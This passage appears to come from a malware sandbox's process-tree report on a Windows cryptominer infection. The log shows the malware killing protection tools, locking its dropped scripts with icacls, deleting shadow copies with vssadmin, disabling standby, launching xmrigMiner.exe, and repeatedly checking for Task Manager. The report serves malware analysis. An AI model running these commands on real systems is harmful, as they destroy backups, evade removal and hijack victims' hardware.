      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3208
  - - C:\Windows\system32\tskill.exe
      tskill Suo12_StartupManager
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3088
  - - C:\Windows\system32\tskill.exe
      tskill RealTimeProtector
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1256
  - - C:\Windows\system32\PING.EXE
      ping -n 50 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5704
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\system.xml /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:6008
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\system.xml /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4912
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\netsetup.vbs /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:3040
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\netsetup.vbs /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:1000
  - - C:\Windows\system32\icacls.exe
      icacls C:\rescache\driver.vbs /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:6088
  - - C:\Windows\system32\icacls.exe
      icacls C:\rescache\driver.vbs /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4984
  - - C:\Windows\system32\icacls.exe
      icacls C:\rescache\system.xml /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:1488
  - - C:\Windows\system32\icacls.exe
      icacls C:\rescache\system.xml /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:5744
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\system.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:2724
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\system.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4636
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\netsetup.vbs /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:4168
  - - C:\Windows\system32\icacls.exe
      icacls C:\diagnostics\netsetup.vbs /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4876
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\downtrj.vbs /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:1472
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\downtrj.vbs /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:1104
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\wget.vbs /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:4152
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\wget.vbs /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4548
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\downtrj.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:2992
  - - C:\Windows\system32\icacls.exe
      icacls C:\runtime\downtrj.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "try { $bat = Get-CimInstance -ClassName Win32_Battery -ErrorAction Stop; if ($bat.BatteryStatus -eq 2) { Write-Output 'Co (AC Power).'; powercfg /change standby-timeout-ac 0 } elseif ($bat.BatteryStatus -eq 1) { Write-Output 'Us (DC Power).'; powercfg /change standby-timeout-dc 0 } else { Write-Output 'Status.' } powercfg /change standby-timeout-ac 0 } catch { Write-Output ' (desktop).'; powercfg /change standby-timeout-ac 0 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Power Settings
      Suspicious behavior: EnumeratesProcesses
      PID:4832
    - - C:\Windows\system32\powercfg.exe
        
        "C:\Windows\system32\powercfg.exe" /change standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3580
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2480
  - - C:\Windows\system32\cmd.exe
      cmd /c del "C:\Users\Admin\AppData\Roaming\Sound\unistall.bat"
      4⤵
      PID:2032

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\rescache\driver.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\runtime\system.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5776
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2908
- - C:\runtime\gtservices.exe
    C:\runtime\gtservices.exe -c C:\runtime\config.json
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\runtime\xmrigMiner.exe" --daemonized -c C:\runtime\config.json
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5224
    - - C:\runtime\xmrigMiner.exe
        
        C:\runtime\xmrigMiner.exe --daemonized -c C:\runtime\config.json
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:5456
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:932
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2532
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:848
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4412
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1124
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1972
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3864
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:3852
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1464
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1688
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2424
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5796
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2696
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:2824
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:1948
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4216
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5400
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:396
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2356
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3672
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4500
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1884
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4236
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6100
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:3592
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:3412
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4324
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4888
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2344
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4508
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4304
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1060
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3088
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4580
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:904
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2176
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4064
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1816
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5856
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4528
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2628
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2532
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5824
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2856
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5388
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:1212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3720
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:2504
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2192
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3740
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5624
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4432
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:468
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1292
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:4772
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4816
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:1428
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5440
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2656
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:1852
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:1540
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4180
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4892
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3760
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:716
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:3584
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4332
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:932
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    PID:3364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3820
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:5392
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:1752
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:1560
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5388
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1772
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2504
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:4624
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3492
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:3740
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1244
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1676
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2068
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4860
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4972
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4248
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5428
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2936
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3044
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5704
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5016
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2116
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4952
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:1488
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:5416
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:4824
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    PID:4152
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      PID:2444
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - Runs ping.exe
    PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1636
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
      4⤵
      Discovers running processes
      PID:5296
- - C:\Windows\system32\PING.EXE
    ping -n 2 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq taskmgr.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1680
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq taskmgr.exe"
